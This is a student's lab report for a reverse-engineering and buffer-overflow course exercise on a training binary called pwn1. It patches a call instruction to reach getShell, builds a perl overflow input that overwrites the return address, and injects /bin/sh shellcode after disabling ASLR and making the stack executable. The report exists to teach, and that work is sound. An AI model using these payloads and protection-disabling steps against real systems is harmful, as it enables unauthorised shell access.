20164320 王浩 Exp1 PC平台逆向破解

一、逆向及Bof基础实践说明

1.1实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.2实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:
  1. 运行原本不可访问的代码片段
  2. 强行修改程序执行流
  3. 以及注入运行任意代码

(注:进行实验前,记得备份Pwn1文件,后续需要使用三次)

1.3基础知识

  1. 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码

          NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

          JNE指令:条件转移指令(等同于“jump not equal”),如果不相等则跳转。

          JE指令:条件转移指令,如果相等则跳转。

          JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

          CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,相对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

          2.掌握反汇编与十六进制编程器

objdump反汇编命令:

objdump -f test     //显示test的文件头信息
objdump -d test    //反汇编test中的需要执行指令的那些section
objdump -D test    //与-d类似,但反汇编test中的所有section
objdump -h test    //显示test的Section Header信息
objdump -x test    //显示test的全部Header信息
objdump -s test    //除了显示test的全部Header信息,还显示他们对应的十六进制文件代码    


xxd命令:

用vi命令打开一个文件,在vi命令模式下输入
:%!xxd            //回车后,该文件会以十六进制形式显示
:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

1.4实验要求:

1.主机名为本人姓名拼音

2.所编辑的文件包含自己的学号(忘记截图了 已经将pwn1改成20164320)

 

 

1.5实验问题:

 问题1: kali无法正常运行 虚拟机无端出现 Vmware workstation 无法连接到虚拟机。请确保您有权限运行该程序、访问该程序使用的所有目录以及访问所有临时文件目录。

解决方案:

右击我的电脑---->>管理----->>服务和应用程序---->>Vmware Authorization Service--->>选择自动、右击选择启动

问题2:执行文件pwn1 执行失败

解决方案:查找资料后发现64位kali上没有32位的运行库,安装运行库

问题3:再次尝试运行pwn 1文件 仍旧失败

解决方案:未在终端中以桌面形式打开文件

最终终于成功运行pwn1文件

问题4:gdb总是报信息Detaching after fork from child(即debug只能跟踪一条进程,未把未被debug的进程报告给我)

解决方案:

1.gdb的时候尝试设置一下 set follow-fork-mode [parent | child]或者删掉pwn1文件,重新拷贝一个进入虚拟机桌面

注:问题5 问题6详见下方实验步骤

1.6实践

实验一(手动修改程序机器指令,改变程序执行流程,直接跳转到getshell函数)

1.执行命令 objdump  -d pwn1 ,对pwn1文件进行反汇编

2.查看代码中的main foo getshell函数,从图中不难得出 main函数调用位于地址8048491处的foo函数

 

 

  foo函数及相关后续函数起到回显作用,此为pwn1文件的原本正常功能(即对用户输入的字符进行简单回显)。我们需要做的,是修改红框中的地址,让main函数调用getshelle函数执行,即改变程序执行流程。

分析:

  首先看跳转指令执行后的下一个地址80484ba,以及跳转之后到达的foo函数地址804891,显而易见应该是进行了加减运算实现了地址偏移,我们来进行简单的验证:

80484ba-8048491=4ba-491=0x29

0x29=41,补码为d7ffffff,即跳转指令的机器码。

由此我们可知跳转的下一地址加上偏移量即可得到转移后的地址,我们想触发这个代码中的getshell函数,就要把偏移量计算出来:

getshell的地址为804847d,则我们需要的偏移量补码为804847d-80484ba=47d-4ba=-3d,即C3

3.所以接下来修改可执行文件,将其中的 call指令的目标地址由d7fffff变为C3ffffff

  • vi编辑pwn1文件,按ESC键,之后输入:%!xxd,将显示模式切换为16进制模式

 

  • 直接输入/e8d7,查找需要修改的内容(如果没有找到,加一个空格,/e8 d7)

 

  • 确认是需要修改的地方,回车,方向键移动光标到d7,敲击r,在敲击输入改动字符(或者直接按i键,编辑修改为“c3”,ESC键退出编辑模式)

 

  • 输入:%!xxd -r ,转换为原格式,再输入:wq,保存并退出pwn1文件

 

  • 再输入objdump -d pwn1 | more 反汇编一下pwn1文件中的main函数,查看是否正确调用get shell函数

 

  •  运行修改后的代码,得到shell

 

实验二(通过构造输入参数,造成BOF攻击,改变程序执行流):

  缓冲区溢出:计算机对接收的输入数据没有进行有效的监测(理想的情况时程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出被分配空间之外的内存空间,从而破坏程序的堆栈,造成程序的崩溃或者程序转而执行其他指令,以达到攻击的目的。(此实验是:构造制定字符串【含有getshell函数地址】,让getshell函数的地址恰好溢出到EIP)

  目标依然是除法getshell函数,但在这里要注意的是foo函数,该函数有漏洞,我们的目标是让溢出的字节覆盖返回地址。

确认输入字符串哪几个字符会覆盖到返回地址:

 1.用gdb命令调试 20164320文件 ,输入一个48B的字符串,依然是Segmentation Fault

2.接着使用info r命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回值地址为5555,这就说明刚刚输入的48B字符中,含有5的字符串溢出导论EIP中

 

3.为了精确判断字符串中的溢出位置,将“55555555”替换成“12345678”,继续调试,观察具体是哪几个数字溢出到了EIP寄存器中

发现“1234”那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getshell的内存地址,输给20164320,20164320就会运行getshell.

4.getshell的内存地址,通过反汇编时可以看到,即0804847d

5.因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以生成包括这样字符串的一个文件(\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键)

 

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

 

6.可以使用16进制查看指令xxd查看input文件的内容是否如预期

(注:出现错误 输入32位编码时少输入一个4 致使进行后续操作时出现这种情况)

7.将input的输入,通过管道符“|”,作为pwn1的输入 (cat input; cat) | ./pwn1 ,最后,获得shell

 

实验三

  1. 使用apt-get install execstack命令安装execstack;

     

  2. 使用如下指令进行配置:
  • execstack -s pwn1
  • execstack -q pwn1
  • more /proc/sys/kernel/randomize_va_space
  • echo "0" > /proc/sys/kernel/randomize_va_space

  • more /proc/sys/kernel/randomize_va_space

         3.使用命令   perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
其中,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,随后修改这个返回地址。

 

4.在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击

5.在另一个终端打开,使用ps -ef | grep pwn查看pwn1这个进程,发现进程号为1633

 

6.使用gdb进行调试,输入attach 1633

7.使用disassemble foo 命令进行反汇编

8.使用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在20164320进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址;

9.使用x/16x 0xffffd35c查看其存放内容,01020304就是返回地址的位置,所以地址应为0xffffd360

 

 

 

10.将之前的\x4\x3\x2\x1改为这个地址,再使用命令(cat input_shellcode;cat) | ./pwn1 执行程序,攻击成功。(再次出现问题)

解决方案:发现地址发生变化,重新查询地址并更改后攻击成功

 

实验收获及感想:

  通过本次实验 对缓冲区攻击有了一定的了解,知道如何通过操作获得主机权限,但汇编等语言之前从未接触,本次实验感到有些吃力,出现许多莫名错误,在这里衷心感谢悉心帮助我的同学,也感谢刘老师给予我们这次难得的学习机会

 

posted on 2019-03-14 21:35  王某先森  阅读(192)  评论(0编辑  收藏